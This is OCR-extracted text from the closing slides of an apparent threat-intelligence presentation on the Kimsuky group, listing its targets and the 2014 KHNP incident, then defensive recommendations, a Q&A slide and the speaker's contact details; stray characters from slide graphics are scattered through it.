11 —— AAAAAN AARAA Aa am AaA AR IAAm ATIAAA ~ v =LAOI olmizlzlilinh lrAanarany s
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Recent Trends

= Related Threat Groups

Threat Activity . .
Group Target Purpose Time Major Incident
Infrastructure, Government, Information KHNP cvber terrorism
Kimsuky North Korean defectors and gathering and 2013 ~ »(12014)
politicians social confusion

.

U O —————
s

-
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Conclusion Vi

* |Incidents Response in advance

= Geopolitical location in South Korea

= Tracking&Monitoring + @

= REMEMBER - Obtained various information through like
OPSEC FAIL CASES

= Share Information

= Cooperate with Relevant agency for Response

149/155



Q&A

Thank you :)

Special Thanks:
Seongsu Park(@unpacker) @GReAT
amur84 @National Police Agency

hypenl111?7

E — mail : jack2@fsec.or.kr
Twitter @2runjack2
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